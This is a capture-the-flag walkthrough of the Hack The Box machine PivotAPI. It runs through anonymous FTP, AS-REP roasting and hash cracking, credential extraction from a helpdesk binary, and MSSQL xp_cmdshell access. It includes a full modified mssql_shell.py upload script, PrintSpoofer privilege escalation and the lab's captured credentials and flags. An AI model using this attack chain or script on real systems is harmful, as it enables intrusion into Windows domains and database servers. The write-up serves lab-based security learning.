Hack-The-Box-walkthrough[pivotapi]

introduce

OS: Windows
Difficulty: Insane
Points: 50
Release: 08 May 2021
IP: 10.10.10.240

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root💀kali)-[~]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.240
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-14 15:22:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open unknown
49699/tcp open msrpc Microsoft Windows RPC
49824/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

There is bunch of ports open.

Let’s first start with ftp

FTP

There is a lot of pdf files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,100).
125 Data connection already open; Transfer starting.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> mget *

It’s said that change the download mode into binary so no files will be corrupted.

Let’s download all files again in binary mode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,149).
150 Opening ASCII mode data connection.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *

After analizing all the files i found nothing so let’s check the metadata of one of the file with exiftool.

We found the username. let’s collect all usernames for every files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
exiftool * | egrep -i "Creator|Author" | awk '{print $3}'

Microsoft
Unknown
saif
Microsoft®
byron
:
byron
cairo
Kaorz
:
alex
alex

Let’s save all these username into a file called user.lst.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# cat user.lst
Microsoft
Unknown
saif
Microsoft®
byron
byron
cairo
Kaorz
alex
alex

Now we have the users list let’s check the Kerberos preauthentication check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# python3 GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -usersfile user.lst LicorDeBellota/
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$Kaorz@LICORDEBELLOTA:eb29c5c46df33d07e2d227251bb18905$f3ec59e49c5a21b098153bf67756548491a8333d8680c27bd6f589e8801ec0c9c429e33646c9e2a4cf1bd716c67a2df12d531984a0cf6bf209c22eb84207fec76fe5dbe2358facd946d2db12a7baabf954ac8b431a11e5eee8edf410cd35bf7f47ca789af7c4baf91712f079143e148a1e30d873a2011df279d63ba9b53e331cc2c61c2a3b2d3e6ec036585b47808e3e557958ef6c2eb888037f0ddcef34a7346fc367f0b5dce1a890d09fbc584c1f84e75457a7f5a10b682e7443598a60d42b8495d231135a35a2438f58771d9c9c445a3e5793ebbdd722e221bd8e6eb59e341b34f34edf24c89a81e3d2735a9a54f91de2c87f
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

We got the hash of Kaorz user let’s try to crack this hash with john.

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Roper4155 ($krb5asrep$23$Kaorz@LICORDEBELLOTA)
1g 0:00:00:12 DONE (2021-05-15 04:41) 0.08264g/s 881824p/s 881824c/s 881824C/s Rosesmlg1..Ronald8
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We have the username and a password Roper4155 let’s check the smb share if we have access of any shares.

I use crackmapexec for that.

1
2
3
4
5
6
7
8
9
10
11
12
crackmapexec smb 10.10.10.240 -u Kaorz -p Roper4155 --shares

SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\Kaorz:Roper4155
SMB 10.10.10.240 445 PIVOTAPI [+] Enumerated shares
SMB 10.10.10.240 445 PIVOTAPI Share Permissions Remark
SMB 10.10.10.240 445 PIVOTAPI ----- ----------- ------
SMB 10.10.10.240 445 PIVOTAPI ADMIN$ Admin remota
SMB 10.10.10.240 445 PIVOTAPI C$ Recurso predeterminado
SMB 10.10.10.240 445 PIVOTAPI IPC$ READ IPC remota
SMB 10.10.10.240 445 PIVOTAPI NETLOGON READ Recurso compartido del servidor de inicio de sesión
SMB 10.10.10.240 445 PIVOTAPI SYSVOL READ Recurso compartido del servidor de inicio de sesión

We have read access of three shares. let’s check the NETLOGON first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
smbclient //10.10.10.240/NETLOGON -U kaorz%Roper4155

Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 8 05:42:28 2020
.. D 0 Sat Aug 8 05:42:28 2020
HelpDesk D 0 Sun Aug 9 10:40:36 2020

7779839 blocks of size 4096. 3497512 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
. D 0 Sun Aug 9 10:40:36 2020
.. D 0 Sun Aug 9 10:40:36 2020
Restart-OracleService.exe A 1854976 Fri Feb 19 04:52:01 2021
Server MSSQL.msg A 24576 Sun Aug 9 06:04:14 2020
WinRM Service.msg A 26112 Sun Aug 9 06:42:20 2020

7779839 blocks of size 4096. 3497512 blocks available

We have three files in the HelpDesk Directory let’s get these all files into our system.

1
2
3
4
5
6
7
8
9
10
smb: \HelpDesk\> get Restart-OracleService.exe
getting file \HelpDesk\Restart-OracleService.exe of size 1854976 as Restart-OracleService.exe (338.5 KiloBytes/sec) (average 338.5 KiloBytes/sec)
smb: \HelpDesk\> get "Server MSSQL.msg"
getting file \HelpDesk\Server MSSQL.msg of size 24576 as Server MSSQL.msg (67.6 KiloBytes/sec) (average 321.7 KiloBytes/sec)
smb: \HelpDesk\> get "WinRM Service.msg"
getting file \HelpDesk\WinRM Service.msg of size 26112 as WinRM Service.msg (71.8 KiloBytes/sec) (average 307.0 KiloBytes/sec)
smb: \HelpDesk\> ^C
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk]
└──╼ [★]$ ls
Restart-OracleService.exe 'Server MSSQL.msg' 'WinRM Service.msg'

Now for extracting the text inside .msg file we need msgconvert let’s first install that.

1
apt-get install libemail-outlook-message-perl libemail-sender-perl

Now let’s extract the text inside .msg file.

1
msgconvert Server\ MSSQL.msg
  • Server MSSQL.msg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Date: Sun, 09 Aug 2020 11:04:14 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208820270.2cBBDf6.24456
Content-Transfer-Encoding: 7bit
Subject: Server MSSQL
To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>

Good afternoon,
Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020.
Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.

Any doubt do not hesitate to contact us.
Greetings,
The HelpDesk Team
  • WinRM Service.msg
1
2
3
4
5
6
7
8
9
10
11
12
Date: Sun, 09 Aug 2020 11:42:20 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208825850.f7f5B6.27939
Content-Transfer-Encoding: 7bit
Subject: WinRM Service
To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>

Good afternoon.
After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.)
Greetings,

The HelpDesk Team

Now afer reading the both messages i known that Due to some problems by Oracle database installed in 2010 they migrate to MSSQL at the beginning of 2020.

And they also said that there was a problems at the time of restarting the Oracle service and for this reason a program called “Reset-Service.exe” was created to log in to Oracle and restart the service.

It’s mean that the “Reset-Service.exe” has creads for Oracle database becuase it’s need to login into oracle database and without creads it can’t be possible.

And the other message tell that they stop externally displaying WinRM’s service and they also created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output So that no shells of the type icmp are used.

Now let’s go to my Commando-VM and analize the binary.

I already transfer the binary into my Commando-VM.

First let’s monitor the binary with procmon so we known that what’s the binary doing.

If you analize the output you find that the binary create a file inside “AppData\Local\Temp" directory with the random name everytime and then it’s delete the bat file.

So for getting that random bat file we need to stop the binary before it’s delete that bat file So for that i use CMDWatcher.

  • CMD Watcher

Select the Interactive mode and then start the monitoring and then execute the binary.

Click resume the process.

You got the bat file location go to that location in your file manager.

Copy both file into your desktop in any folder.

I copy both files inside my desktop/files folder and then resume the process.

Now let’s analize the bat file.

Step 1

Remove all these if statement.

And add “goto correcto”.

Step 2

Now in bottom of the file remove these del statements.

After removing the del statements they look like this.

Now we good to go open a cmd and run that bat file to create the restart-service.exe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
COMMANDO Fri 05/14/2021  7:41:07.78
C:\Users\DEDSEC\Desktop\files>dir
Volume in drive C has no label.
Volume Serial Number is 7EAC-CBDE

Directory of C:\Users\DEDSEC\Desktop\files

05/14/2021 07:25 AM <DIR> .
05/14/2021 07:25 AM <DIR> ..
05/14/2021 07:39 AM 1,729,970 542B.bat
05/14/2021 07:22 AM 0 542C.tmp
2 File(s) 1,729,970 bytes
2 Dir(s) 113,196,924,928 bytes free

COMMANDO Fri 05/14/2021 7:41:09.00
C:\Users\DEDSEC\Desktop\files>.\542B.bat
COMMANDO Fri 05/14/2021 7:41:59.20
C:\Users\DEDSEC\Desktop\files>

Now let’s check if restart-service.exe is created or not.

And we got the restart-service.exe. I use API Monitor for analize this binary.

  • API Monitor

Check all API filters on the left side.

Now click on monitor new process and select the binary called restart-service.exe.

Now we capture all the proccess and calls so let’s analize this.

Found the username and password.

1
2
#Time of Day Thread Module API Return Value Error Duration
CreateProcessWithLogonW ( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000234e120, 0x0000000003f61c68 ) FALSE 1326 = The user name or password is incorrect.

Now if you see nmap result there is a mssql port open let’s try to connect with that.

1
2
3
4
5
6
mssqlclient.py -port 1433 svc_oracle@10.10.10.240
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Login failed for user 'svc_oracle'.

Login failed! it’s mean the username and password is not correct.

After that i read the Server MSSQL.msg again and i found that now they using mssql not oracle so we need to change the password from #oracle_s3rV1c3!2010 to #mssql_s3rV1c3!2020 because they migrate to MSSQL at the beginning of 2020.

And for the username i search on google for default mssql username and i found that.

So now the creads are sa:#mssql_s3rV1c3!2020 so now let’s try to login with these creads.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mssqlclient.py -port 1433 sa@10.10.10.240

Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> help

lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd

SQL>

If we type help we can see that we can execute the xp_cmdshell {cmd} command let’s try that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SQL> help

lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd

SQL> xp_cmdshell whoami
output

--------------------------------------------------------------------------------

nt service\mssql$sqlexpress

NULL

SQL>

We can execute command let’s check the privileges we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
SQL> xp_cmdshell whoami /priv
output

--------------------------------------------------------------------------------

NULL

INFORMACIÓN DE PRIVILEGIOS

--------------------------

NULL

Nombre de privilegio Descripción Estado

============================= ================================================= =============

SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado

SeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso Deshabilitado

SeMachineAccountPrivilege Agregar estaciones de trabajo al dominio Deshabilitado

SeChangeNotifyPrivilege Omitir comprobación de recorrido Habilitada

SeManageVolumePrivilege Realizar tareas de mantenimiento del volumen Habilitada

SeImpersonatePrivilege Suplantar a un cliente tras la autenticación Habilitada

SeCreateGlobalPrivilege Crear objetos globales Habilitada

SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado

NULL

SQL>

We have SeImpersonatePrivilege enabled let’s try to privilege-escalation with this.

  • PrintSpoofer

But the problem is we can’t transfer this file directly because firewall blocks all connections.

So i search on google for script that will login us in mssql and we can also upload files inside that and i found a python script.

  • mssql_shell.py

I do a little edit the script because when we use UPLOAD command it’s break.

  • mssql_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3
from __future__ import print_function
# Author: lUc1f3r11
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
import pymssql
from pymssql import _mssql
from pymssql import _pymssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass
from base64 import encodebytes

MSSQL_SERVER="10.10.10.240"
MSSQL_USERNAME = "sa"
MSSQL_PASSWORD = "#mssql_s3rV1c3!2020"
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def process_result(mssql):
username = ""
computername = ""
cwd = ""
rows = list(mssql)
for row in rows[:-3]:
columns = list(row)
if row[columns[-1]]:
print(row[columns[-1]])
else:
print()
if len(rows) >= 3:
(username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
cwd = rows[-2][list(rows[-3])[-1]]
return (username.rstrip(), computername.rstrip(), cwd.rstrip())


def upload(mssql, stored_cwd, local_path, remote_path):
print("Uploading "+local_path+" to "+remote_path)
cmd = 'type nul > "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

with open(local_path, 'rb') as f:
data = f.read()
md5sum = hashlib.md5(data).hexdigest()
b64enc_data = b"".join(base64.b64encode(data).split()).decode()

print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
#print("Remaining: "+str(len(b64enc_data)-i))

cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
process_result(mssql)
cmd = 'certutil -hashfile "' + remote_path + '" MD5'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
print("MD5 hashes match: " + md5sum)
else:
print("ERROR! MD5 hashes do NOT match!")


def shell():
mssql = None
stored_cwd = None
try:
mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

print("Trying to enable xp_cmdshell ...")
mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

cmd = 'echo %username%^|%COMPUTERNAME% & cd'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd

while True:
cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
if not cmd:
cmd = "call" # Dummy cmd command
if cmd.lower()[0:4] == "exit":
mssql.close()
return
elif cmd[0:6] == "UPLOAD":
upload_cmd = shlex.split(cmd, posix=False)
if len(upload_cmd) < 3:
upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
else:
upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd

except _mssql.MssqlDatabaseException as e:
if e.severity <= 16:
print("MSSQL failed: "+str(e))
else:
raise

finally:
if mssql:
mssql.close()


shell()
sys.exit()

Now let’s run the script.

We got the shell now let’s try to UPLOAD the file inside TEMP directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# python3 shell.py
Successful login: sa@10.10.10.240
Trying to enable xp_cmdshell ...
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> whoami
nt service\mssql$sqlexpress
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> cd /
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: B2F2-7E0A

Directorio de C:\

08/08/2020 19:23 <DIR> Developers
08/08/2020 12:53 <DIR> inetpub
08/08/2020 22:48 <DIR> PerfLogs
19/02/2021 14:42 <DIR> Program Files
09/08/2020 17:06 <DIR> Program Files (x86)
08/08/2020 19:46 <DIR> Users
29/04/2021 17:31 <DIR> Windows
0 archivos 0 bytes
7 dirs 14.177.931.264 bytes libres
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> mkdir temp
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> UPLOAD PrintSpoofer64.exe C:\temp\printspoofer.exe
Uploading PrintSpoofer64.exe to C:\temp\printspoofer.exe
Data length (b64-encoded): 35.3359375KB
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████| 40.0/40.0 [00:05<00:00, 6.84KB/s]
Longitud de entrada = 36208
Longitud de salida = 27136
CertUtil: -decode comando completado correctamente.
MD5 hashes match: 108da75de148145b8f056ec0827f1665
*** UPLOAD PROCEDURE FINISHED ***
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> cd temp
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: B2F2-7E0A

Directorio de C:\temp

15/05/2021 11:25 <DIR> .
15/05/2021 11:25 <DIR> ..
15/05/2021 11:25 27.136 printspoofer.exe
15/05/2021 11:25 36.208 printspoofer.exe.b64
2 archivos 63.344 bytes
2 dirs 14.177.865.728 bytes libres

Now let’s run the binary and get our user.txt and root.txt.

1
2
3
4
5
6
7
8
9
10
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\Users\3v4Si0N\Desktop\user.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
4855ef51169f74e4d5d79befd933d719
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\users\cybervaca\Desktop\root.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
b32c5e3ee389ee920f6aa1efa025048d

and we are all done!

Summary of knowledge

  • ftp anonymous access
  • exiftool get usernames
  • users list check the Kerberos preauthentication check
  • crack Kerberos hash with john
  • crackmapexec enumerate smb shares
  • use msgconvert extract the text inside .msg file
  • monitor the binary with procmon
  • CMDWatcher usage
  • modify .bat file to get the restart-service.exe
  • API Monitor capture the proccess to get usernames and passwords
  • privilege escalation with PrintSpoofer
  • modify mssql_shell.py to get file upload

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…